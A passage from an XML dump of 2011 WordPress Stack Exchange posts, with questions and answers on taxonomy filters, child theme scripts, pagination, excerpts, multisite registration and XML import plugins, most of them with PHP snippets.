CommentCount="2" />
  <row Id="26818" PostTypeId="2" ParentId="26815" CreationDate="2011-08-24T21:43:33.943" Score="1" ViewCount="" Body="&lt;p&gt;Reading at the theme documentation. You have to create new pages and insert the image for each of the slide. The pages won't be automatically added to the slider. You have to add/select pages from the theme option page.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-24T21:43:33.943" />
  <row Id="26819" PostTypeId="1" CreationDate="2011-08-24T21:43:47.487" Score="0" ViewCount="56" Body="&lt;p&gt;On admin custom post list I am trying to filter custom posts by custom taxonomy. I found a nice example on &lt;a href=&quot;http://yoast.com/custom-post-type-snippets/&quot; rel=&quot;nofollow&quot;&gt;http://yoast.com/custom-post-type-snippets/&lt;/a&gt; but it does not filter my posts at at all. The custom terms I want to filter show nicely in selction, pressing filter button does not filter out the posts, the full post list stays as it is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// selection for zizi product catalog types, zizi custom taxonomy&#xA;register_taxonomy(&quot;zizi_catalog&quot;, &#xA;    array(&quot;zizi_product&quot;), &#xA;    array(&quot;hierarchical&quot; =&amp;gt; true,&#xA;        &quot;label&quot; =&amp;gt; &quot;Zizi Catalogs&quot;, &#xA;        &quot;singular_label&quot; =&amp;gt; &quot;Zizi Catalog&quot;, &#xA;        &quot;rewrite&quot; =&amp;gt; true, &#xA;        'public'=&amp;gt;true,&#xA;        'show_ui'=&amp;gt;true,&#xA;        'query_var'=&amp;gt; true, &#xA;        '_builtin' =&amp;gt; false&#xA;        ));&#xA;&#xA;add_action('init', 'zizi_product_register');&#xA;/**&#xA; * zizi_product_register()&#xA; * registeres custom post type 'zizi_product'&#xA; * @return void&#xA; */&#xA;function zizi_product_register()&#xA;{&#xA;    $args = array(&#xA;        'label' =&amp;gt; __('Zizi Products'), &#xA;        'singular_label' =&amp;gt; __('Zizi Product'),&#xA;        'public' =&amp;gt; true, &#xA;        'show_ui' =&amp;gt; true, &#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post', &#xA;        'hierarchical' =&amp;gt; false,&#xA;        'rewrite' =&amp;gt; true, &#xA;        'query_var' =&amp;gt; true, &#xA;        '_builtin' =&amp;gt; false,&#xA;        'supports' =&amp;gt; array('title', 'editor', 'thumbnail'));    &#xA;    register_post_type('zizi_product', $args);&#xA;}&#xA;// Change the columns for the edit CPT screen  &#xA;&#xA;function change_columns( $cols ) {  &#xA; $cols = array(  &#xA;        &quot;cb&quot; =&amp;gt; &quot;&amp;lt;input type=\&quot;checkbox\&quot; /&amp;gt;&quot;, &#xA;        &quot;title&quot; =&amp;gt; &quot;Zizi Product Title&quot;, &#xA;        &quot;description&quot; =&amp;gt; &quot;Description&quot;, &#xA;        &quot;order_on_page&quot; =&amp;gt; &quot;Order in catalog&quot;, &#xA;        &quot;zizi_catalog&quot; =&amp;gt; &quot;zizi_catalog&quot; );&#xA;   return $cols;  &#xA; }  &#xA;add_filter( &quot;manage_zizi_product_posts_columns&quot;, &quot;change_columns&quot; ); &#xA;&#xA;// Make these columns sortable  &#xA;function sortable_columns() {  &#xA;    return array(  &#xA;    'zizi_catalog' =&amp;gt; 'zizi_catalog');  &#xA;    }  &#xA;&#xA;add_filter( &quot;manage_edit-zizi_product_sortable_columns&quot;, &quot;sortable_columns&quot; ); &#xA;&#xA;function custom_columns( $column, $post_id ) {  &#xA;     $custom = get_post_custom();&#xA;    switch ( $column ) {  &#xA;    case &quot;description&quot;:&#xA;&#xA;    break;&#xA;    case &quot;order_on_page&quot;:&#xA;        echo &quot;&amp;lt;label&amp;gt;&quot; . $custom[&quot;order_on_page&quot;][0] . &quot;&amp;lt;/label&amp;gt;&quot;;&#xA;    break;&#xA;    case &quot;zizi_catalog&quot;:  &#xA;        echo get_the_term_list($post_id, 'zizi_catalog', '', ', ', '');&#xA;    break;  &#xA;   }  &#xA; }  &#xA;&#xA; add_action( &quot;manage_posts_custom_column&quot;, &quot;custom_columns&quot;, 10, 2 ); &#xA;&#xA;// Filter the request to just give posts for the given taxonomy, if applicable.  &#xA;function taxonomy_filter_restrict_manage_posts() {  &#xA;        global $typenow;  &#xA; // If you only want this to work for your specific post type,  &#xA;// check for that $type here and then return.  &#xA;// This function, if unmodified, will add the dropdown for each  &#xA;// post type / taxonomy combination.  &#xA;&#xA;    $post_types = get_post_types( array( '_builtin' =&amp;gt; false ) ); &#xA;    if ( in_array( $typenow, $post_types ) ) {  &#xA;        $filters = get_object_taxonomies( $typenow );  &#xA;&#xA;        foreach ( $filters as $tax_slug ) {  &#xA;            $tax_obj = get_taxonomy( $tax_slug );  &#xA;            wp_dropdown_categories( array(  &#xA;                'show_option_all' =&amp;gt; __('Show All '.$tax_obj-&amp;gt;label ),  &#xA;                'taxonomy' =&amp;gt; $tax_slug,  &#xA;                'name'  =&amp;gt; $tax_obj-&amp;gt;name,  &#xA;     //            'orderby'     =&amp;gt; 'name',  &#xA;                'selected'  =&amp;gt; $_GET[$tax_slug],  &#xA;                'hierarchical' =&amp;gt; $tax_obj-&amp;gt;hierarchical,  &#xA;                'show_count'  =&amp;gt; true,  &#xA;                'hide_empty'  =&amp;gt; true  ) &#xA;                );  &#xA;         }  &#xA;     }  &#xA; }  &#xA;&#xA;add_action( 'restrict_manage_posts', 'taxonomy_filter_restrict_manage_posts' ); &#xA;&#xA;function taxonomy_filter_post_type_request( $query ) { &#xA;    global $pagenow, $typenow;  &#xA;    if ( 'edit.php' == $pagenow ) {  &#xA;        $filters = get_object_taxonomies( $typenow );  &#xA;            foreach ( $filters as $tax_slug ) {  &#xA;             var_dump($tax_slug);   &#xA;                $var = &amp;amp;$query-&amp;gt;query_vars[$tax_slug];  &#xA;              if ( isset( $var ) ) {  &#xA;                $term = get_term_by( 'id', $var, $tax_slug );  &#xA;                $var = $term-&amp;gt;slug;  &#xA;              }  &#xA;            }  &#xA;    }  &#xA;}  &#xA;&#xA;add_filter( 'parse_query', 'taxonomy_filter_post_type_request' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8155" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-08-24T22:00:18.240" LastActivityDate="2011-09-01T20:23:50.227" Title="custom post type taxonomy filter does not filter posts" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;admin&gt;&lt;filters&gt;" AnswerCount="0" />
  <row Id="26820" PostTypeId="2" ParentId="26696" CreationDate="2011-08-24T22:00:20.500" Score="0" ViewCount="" Body="&lt;p&gt;The problem was due to a secondary loop in the page—before this loop, the page knows it's a page; but after the loop (and in the footer, where the Admin Bar and my code would be rendered), the page thought it was the last post of the secondary loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither wp_reset_query() nor wp_reset_postdata() worked; I am guessing this has to do with the fact that I use $wp_query as the name of the secondary loop (so that I could use the loop.php template file to display the posts).  Here's the code that worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$temp_query = clone $wp_query; &#xA;&#xA;$wp_query = new WP_Query( 'post_type=publication&amp;amp;posts_per_page=5' );&#xA;&#xA;get_template_part( 'loop' );&#xA;/* get_template_part( 'loop' ) only seems to work if the query is in $wp_query */&#xA;&#xA;$wp_query = clone $temp_query; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the link in the codex that the clone $wp_query technique comes from: &lt;a href=&quot;http://codex.wordpress.org/The_Loop#Multiple_Loops_Example_2&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/The_Loop#Multiple_Loops_Example_2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-08-24T22:00:20.500" />
  <row Id="26821" PostTypeId="2" ParentId="23966" CreationDate="2011-08-24T22:03:26.033" Score="0" ViewCount="" Body="&lt;p&gt;Reducing the number of blog posts to show at Settings-&gt;Reading from 10 to 1 might do it for you.&lt;/p&gt;&#xA;" OwnerUserId="7890" LastActivityDate="2011-08-24T22:03:26.033" />
  <row Id="26822" PostTypeId="1" AcceptedAnswerId="26824" CreationDate="2011-08-24T22:14:24.723" Score="0" ViewCount="40" Body="&lt;p&gt;I'm loading some javascript files in the parent theme. The path in the parent theme is &quot;scripts&quot; &gt; &quot;custom.js&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the child theme, I'm creating the same path (scripts &gt; custom.js) and changing some of the jQuery inside the custom.js file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the changes are not being applied. Is this the wrong way to make changes to these files in the child theme?&lt;/p&gt;&#xA;" OwnerUserId="8084" LastActivityDate="2011-08-24T22:27:39.007" Title="How to override javascript files in child theme?" Tags="&lt;child-theme&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26823" PostTypeId="1" AcceptedAnswerId="26906" CreationDate="2011-08-24T22:20:50.653" Score="1" ViewCount="86" Body="&lt;p&gt;Twenty Eleven Theme...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the home page, I have successfully filtered the loop to display just &quot;Featured&quot; posts with pagination functioning properly through nav links. I'm trying to display posts from all categories on another page called &quot;Unfiltered.&quot; Why do the nav links disappear when used on this other page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: if I change the value of 'paged' to '1' or '2', I get the 10 posts that I would expect to so 'paged' seems to work depending on the value I set, just not when I set it to get_query_var( 'paged' ) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php /* $paged = ( get_query_var('page') ) ? get_query_var('page') : 1;*/&#xA;&#xA;            $unfiltered_query = new WP_Query ( &#xA;&#xA;            array (&#xA;                'posts_per_page' =&amp;gt; 10,&#xA;                'paged' =&amp;gt;  get_query_var( 'paged' )&#xA;            ) &#xA;&#xA;        );?&amp;gt;&#xA;&#xA;        &amp;lt;?php if ( $unfiltered_query-&amp;gt;have_posts() ) : ?&amp;gt;&#xA;&#xA;            &amp;lt;?php twentyeleven_content_nav( 'nav-above' ); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php /* Start the Loop */ ?&amp;gt;&#xA;&#xA;                &amp;lt;?php while ( $unfiltered_query-&amp;gt;have_posts() ) : $unfiltered_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;                &amp;lt;?php get_template_part( 'excerpt', get_post_format() ); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php twentyeleven_content_nav( 'nav-below' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1697" LastEditorUserId="1697" LastEditorDisplayName="" LastEditDate="2011-08-24T22:26:22.347" LastActivityDate="2011-08-25T18:06:12.137" Title="get_query_var( 'paged' ) not working outside of homepage" Tags="&lt;wp-query&gt;&lt;pagination&gt;&lt;paged&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="26824" PostTypeId="2" ParentId="26822" CreationDate="2011-08-24T22:27:39.007" Score="1" ViewCount="" Body="&lt;p&gt;Child themes only override files in the main theme directory (like header.php) that are called in with functions like get_template_part or get_header, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct way to add scripts to WordPress is with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_script&lt;/a&gt;.  If your parent theme uses this, you can override the JS files by using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_dequeue_script&quot; rel=&quot;nofollow&quot;&gt;wp_dequeue_script&lt;/a&gt; and enqueuing your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like so...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'wp_print_scripts', 'wpse26822_script_fix' );&#xA;function wpse26822_script_fix()&#xA;{&#xA;    wp_dequeue_script( 'parent_theme_script_handle' );&#xA;    wp_enqueue_script( 'child_theme_script_handle', get_stylesheet_directory_uri() . 'scripts/yourjs.js', array( 'jquery' ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the parent theme isn't using wp_enqueue_script, it's probably hooking into wp_head (or wp_footer) to echo out the scripts there.  So you'd use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/remove_action&quot; rel=&quot;nofollow&quot;&gt;remove_action&lt;/a&gt; to get rid of those functions echoing the scripts out, and then enqueue your own script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the script is hard coded into the template file, you'll just need to replace that template file in your child theme without the script tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they used wp_enqueue_script calls that utilize &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_stylesheet_directory_uri&quot; rel=&quot;nofollow&quot;&gt;get_stylesheet_directory_uri&lt;/a&gt;, then you shouldn't have to do anything.  Since this isn't happening, you'll just have to poke around and see what the theme author did.&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-24T22:27:39.007" />
  <row Id="26825" PostTypeId="2" ParentId="26823" CreationDate="2011-08-24T22:35:34.657" Score="1" ViewCount="" Body="&lt;p&gt;the argument for WP_Query is &lt;code&gt;paged&lt;/code&gt;, but the query var is &lt;code&gt;page&lt;/code&gt;, no 'd' on the end.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'paged' =&amp;gt;  get_query_var( 'paged' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'paged' =&amp;gt;  get_query_var( 'page' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-24T22:35:34.657" CommentCount="1" />
  <row Id="26826" PostTypeId="2" ParentId="22175" CreationDate="2011-08-24T22:47:46.507" Score="0" ViewCount="" Body="&lt;p&gt;I had the same issue, but in my case it was not on an &quot;image&quot; basis, but rather the &quot;Insert into Post&quot; button failed to generate on certain custom post types. In my case -- which I'm not sure it applies -- it had to do with adding a modified TinyMCE editor into a custom metabox (I was using WPAlchemy's MetaBox class), then disabling the default (now redundant) editor, which in turn seemingly told WordPress that images could be inserted into that post type. Logically, WordPress didn't feel the need to generate the button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My fix was simple, and even though the source of the problem can be different, the solution might be the same. All you have to do is tell WordPress that image insertion should &lt;strong&gt;always&lt;/strong&gt; be allowed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('get_media_item_args', 'allow_img_insertion');&#xA;function allow_img_insertion($vars) {&#xA;    $vars['send'] = true; // 'send' as in &quot;Send to Editor&quot;&#xA;    return($vars);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If &lt;strong&gt;always&lt;/strong&gt; is too often, just add the filter conditionally (i.e. detecting post type, like I did).&lt;/p&gt;&#xA;" OwnerUserId="5552" LastActivityDate="2011-08-24T22:47:46.507" CommentCount="1" />
  <row Id="26827" PostTypeId="2" ParentId="26823" CreationDate="2011-08-24T22:55:45.803" Score="0" ViewCount="" Body="&lt;p&gt;What if you replace &lt;code&gt;get_query_var( 'paged' )&lt;/code&gt; with the global &lt;code&gt;$paged&lt;/code&gt;? e.g. replace this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$unfiltered_query = new WP_Query ( &#xA;&#xA;    array (&#xA;        'posts_per_page' =&amp;gt; 10,&#xA;        'paged' =&amp;gt;  get_query_var( 'paged' )&#xA;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $paged;&#xA;&#xA;$unfiltered_query = new WP_Query ( &#xA;&#xA;    array (&#xA;        'posts_per_page' =&amp;gt; 10,&#xA;        'paged' =&amp;gt;  $paged&#xA;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Okay, that apparently won't work. The &lt;code&gt;$paged&lt;/code&gt; global apparently isn't set until the query is run.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-08-24T23:42:20.333" LastActivityDate="2011-08-24T23:42:20.333" />
  <row Id="26828" PostTypeId="2" ParentId="26817" CreationDate="2011-08-24T23:05:38.537" Score="2" ViewCount="" Body="&lt;p&gt;change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$delimiter = '&amp;amp;raquo;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$delimiter = '&amp;lt;span class=&quot;myclass&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/span&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-24T23:05:38.537" CommentCount="1" />
  <row Id="26829" PostTypeId="1" CreationDate="2011-08-24T23:35:39.637" Score="0" ViewCount="72" Body="&lt;p&gt;I am running wp subdomain multisite in combination with domain mapping. This means I can create a new subdomain site xyz.site.com and map the domain name 'xyz.com' to that site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is someone clicks 'register' on the subdomain mapped site 'xyz.com' and they are sent to site.com to register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is VERY confusing to many people and I'm getting tired of the complaints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I setup wp multisite, so that if a person wants to register on a subdomain site, that they do not leave that site at any point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I use multisite to host multiple client sites, all which have their own domain names. I simply 'map' the domain name to their subdomain site. This means that users who come to one clients site to register, are being sent to the primary site to register, which is just plain wrong and confusing&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-09-01T09:13:16.660" Title="wordpress multisite, how to keep user on subdomain throughout registration process?" Tags="&lt;multisite&gt;&lt;users&gt;&lt;registration&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="26830" PostTypeId="1" CreationDate="2011-08-24T23:48:00.383" Score="0" ViewCount="25" Body="&lt;p&gt;I just to add custom button in wordpress media uploader.For example,when user click on media upload button and than click on Media library tab, user will see list of latest files that was uploaded,and on the right side there would be &quot;show&quot; link, for example I would like to add additional link near by that show link. Is this possible ? Thank you for your time.&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2011-08-24T23:48:00.383" Title="Add custom button to wordpress media uploader?" Tags="&lt;plugin-development&gt;&lt;3.0&gt;&lt;functions&gt;" />
  <row Id="26831" PostTypeId="1" AcceptedAnswerId="26835" CreationDate="2011-08-25T01:28:25.947" Score="0" ViewCount="33" Body="&lt;p&gt;If I check &quot;Remember Me&quot;, and then log out, my login and password are &lt;strong&gt;not&lt;/strong&gt; remembered. I've tested this on many WordPress sites running WP 3.2.1 on a server here in NZ and also on a completely different server hosted in the US. It doesn't appear to be a problem with just my browser, as quite a few people have tested this for me. Although I have tried clearing all cookies, cache etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It &lt;strong&gt;does&lt;/strong&gt; however work locally with a MAMP setup on OS X. Is there something I need to install on the server to get this working? I presume it's using session cookies? Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-08-25T01:47:06.450" Title="Why doesn't the &quot;Remember Me&quot; checkbox work for me on a live website? Only works on a local server environment" Tags="&lt;login&gt;&lt;cookies&gt;" AnswerCount="1" />
  <row Id="26832" PostTypeId="1" AcceptedAnswerId="27336" CreationDate="2011-08-25T01:33:32.307" Score="2" ViewCount="38" Body="&lt;p&gt;Is it theoretically possible to have the following feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each post has a country code. When a visitor comes in, the system will determine the visitor's country code. Then when the page renders, only the post with that country code is displayed. This need to also affect the widgets/site search etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was asked to evaluate this. I think this would lead to if statements all over the place, in the loop, and I need to modify the widgets too. All in all I think it is doable but is difficult and make the whole code-base unmaintainable. However I want to get some insight to this, since I only have experience in themes, not plugin development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I am not sure how to tag this more appropriately. Any suggestion is welcomed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;:&#xA;I took a look at the &lt;strong&gt;'Country Filter'&lt;/strong&gt; plugin, it's nice but does filtering in the content level not the post level. I am also looking at &lt;code&gt;add_filter(request,...)&lt;/code&gt; to see if this can be done at the root.&lt;/p&gt;&#xA;" OwnerUserId="6858" LastEditorUserId="6858" LastEditorDisplayName="" LastEditDate="2011-08-25T06:21:44.803" LastActivityDate="2011-08-31T02:47:02.107" Title="Display only certain posts based on visitor's country?" Tags="&lt;plugin-development&gt;&lt;filters&gt;&lt;conditional-content&gt;&lt;sql&gt;&lt;theory&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="26833" PostTypeId="1" CreationDate="2011-08-25T01:33:52.843" Score="0" ViewCount="17" Body="&lt;p&gt;I've created a custom filter to change the default sort order of the links in the 'Links' widget (The widget is being used on pages not posts). I want to have one sort order for 1 link category (id = 9) and a different one for the rest. But I can't figure out the if statement because I don't know how to specify the link category ID. Right now everything is getting sorted like the 'else' order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Sort widget links order&#xA;function widget_links_press($args) { &#xA;if(is_category('9')) {&#xA;   $args['orderby'] = 'link_id'; // Sort links by id&#xA;   $args['order'] = 'DESC'; // descending&#xA;   return $args;&#xA;} else {&#xA;   $args['orderby'] = 'name'; // Sort links by name&#xA;   $args['order'] = 'ASC';   // ascending&#xA;   return $args;&#xA;}&#xA;}&#xA;add_filter('widget_links_args','widget_links_press');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any guidance you may provide.&lt;/p&gt;&#xA;" OwnerUserId="8156" LastActivityDate="2011-08-25T01:33:52.843" Title="'Links' widget sort order filter with conditional tags" Tags="&lt;widgets&gt;&lt;links&gt;&lt;add-filter&gt;&lt;conditional-tags&gt;&lt;link-category&gt;" CommentCount="1" />
  <row Id="26834" PostTypeId="1" CreationDate="2011-08-25T01:43:57.873" Score="0" ViewCount="6" Body="&lt;p&gt;Is there a Wordpress 3.x compatible author list plugin that will display the author's name followed by their most recent post?&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2011-08-25T01:43:57.873" Title="Author List Plugin that displays author posts as well?" Tags="&lt;posts&gt;&lt;multiple&gt;&lt;list-authors&gt;" />
  <row Id="26835" PostTypeId="2" ParentId="26831" CreationDate="2011-08-25T01:47:06.450" Score="0" ViewCount="" Body="&lt;p&gt;Check your browser settings. You can change the settings for size and time to keep the cookies.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-25T01:47:06.450" CommentCount="4" />
  <row Id="26836" PostTypeId="2" ParentId="20030" CreationDate="2011-08-25T01:54:45.407" Score="0" ViewCount="" Body="&lt;p&gt;It appears that postie can be used to do this.&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2011-08-25T01:54:45.407" />
  <row Id="26837" PostTypeId="1" AcceptedAnswerId="26839" CreationDate="2011-08-25T02:16:47.110" Score="0" ViewCount="27" Body="&lt;p&gt;I know the_content has the handy dandy $strip_teaser argument that lets you set whether there is &quot;continue reading&quot; text. No such luck for the_excerpt...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to just get rid of it. I had previously tried to just shorten it to Read on but that didn't seem to work either.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function beernews_auto_excerpt_more( $more ) {&#xA;    return ' &amp;amp;hellip;' . __( 'Read on &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyeleven' ) . '&amp;lt;/a&amp;gt;';&#xA;&#xA;}&#xA;add_filter( 'excerpt_more', 'beernews_auto_excerpt_more' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Theme is Twenty Eleven.&lt;/p&gt;&#xA;" OwnerUserId="1697" LastActivityDate="2011-08-25T05:02:19.763" Title="How to remove &quot;Read on&quot; content in the_excerpt?" Tags="&lt;the-excerpt&gt;" AnswerCount="2" />
  <row Id="26838" PostTypeId="2" ParentId="958" CreationDate="2011-08-25T02:45:37.557" Score="0" ViewCount="" Body="&lt;p&gt;After several days of searching in vain I find this post and successfully incorporate it inot a tutorial that was written without stickies in mind. I love you all!&lt;/p&gt;&#xA;" OwnerUserId="8157" LastActivityDate="2011-08-25T02:45:37.557" />
  <row Id="26839" PostTypeId="2" ParentId="26837" CreationDate="2011-08-25T03:36:08.657" Score="0" ViewCount="" Body="&lt;p&gt;If you're using the Twenty Eleven theme I think you need to remove that theme's filter before you can define your own:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;remove_filter( 'excerpt_more', 'twentyeleven_auto_excerpt_more' );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;edit&lt;/em&gt; building from t-p&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_action( 'after_setup_theme', 'my_child_theme_setup' );&#xA;    function my_child_theme_setup() {&#xA;       remove_filter( 'excerpt_more', 'twentyten_auto_excerpt_more' );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5573" LastEditorUserId="5573" LastEditorDisplayName="" LastEditDate="2011-08-25T05:02:19.763" LastActivityDate="2011-08-25T05:02:19.763" CommentCount="2" />
  <row Id="26840" PostTypeId="2" ParentId="26837" CreationDate="2011-08-25T03:59:27.807" Score="1" ViewCount="" Body="&lt;p&gt;I use this in my twenty ten child theme,s functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'after_setup_theme', 'my_child_theme_setup' );&#xA;function my_child_theme_setup() {&#xA;remove_filter( 'excerpt_length', 'twentyten_excerpt_length' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-08-25T03:59:27.807" CommentCount="1" />
  <row Id="26841" PostTypeId="1" CreationDate="2011-08-25T03:59:28.480" Score="1" ViewCount="27" Body="&lt;p&gt;I have this list set up of the latest 7 posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;ul id=&quot;post-list&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;            global $post;&#xA;            $args = array( 'numberposts' =&amp;gt; 7 );&#xA;            $myposts = get_posts( $args );&#xA;            foreach( $myposts as $post ) :  setup_postdata($post); ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;span&amp;gt;&amp;lt;?php the_author(); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I have a class of 'current' be displayed for the current post?&lt;/p&gt;&#xA;" OwnerUserId="8158" LastActivityDate="2011-08-25T11:12:13.223" Title="How do I add a current class to the current post?" Tags="&lt;current-filter&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26842" PostTypeId="1" CreationDate="2011-08-25T04:31:31.783" Score="0" ViewCount="15" Body="&lt;p&gt;I am currently writing a plugin that reads a custom XML file that is uploaded to a site and then posts it to the WP database as a new post using wp_insert_post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a couple of questions here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) When the plugin is activated it generates 1696 characters of unexpected output...  The odd thing is that the function that does all the work is supposed to be iterated through a while loop (the loop is supposed to continue iterating for a number of times equal to the # of XML files counted in the directory).  However, when the WHILE loop is active (uncommented) nothing ever gets written to the database.  Comment the WHILE loop out, and voila! it writes the post. What I can't figure is where the unexpected output is coming from since it is writing the post correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The function that is supposed to add the metadata...  Doesn't.  Period.  I can't find anything wrong with the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help here would be GREATLY appreciated!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function random_file($folder='', $extensions='.*'){&#xA;    // fix path:&#xA;    $folder = trim($folder);&#xA;    $folder = ($folder == '') ? './' : $folder;&#xA;    // check folder:&#xA;    if (!is_dir($folder)){ die('invalid folder given!'); }&#xA;    // create files array&#xA;    $files = array();&#xA;    // open directory&#xA;    if ($dir = @opendir($folder)){&#xA;        // go trough all files:&#xA;        while($file = readdir($dir)){&#xA;            if (!preg_match('/^\.+$/', $file) and &#xA;                preg_match('/\.('.$extensions.')$/', $file)){&#xA;                // feed the array:&#xA;                $files[] = $file;                &#xA;            }            &#xA;        }        &#xA;        // close 